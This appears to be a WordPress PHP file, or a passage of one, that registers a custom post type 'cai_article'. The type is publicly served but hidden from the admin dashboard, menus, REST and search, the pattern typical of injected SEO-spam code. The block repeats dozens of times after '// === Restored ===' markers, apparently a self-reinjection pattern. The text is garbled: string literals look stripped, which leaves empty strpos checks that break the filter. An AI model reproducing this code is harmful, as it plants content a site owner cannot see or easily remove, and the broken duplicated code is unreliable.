"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
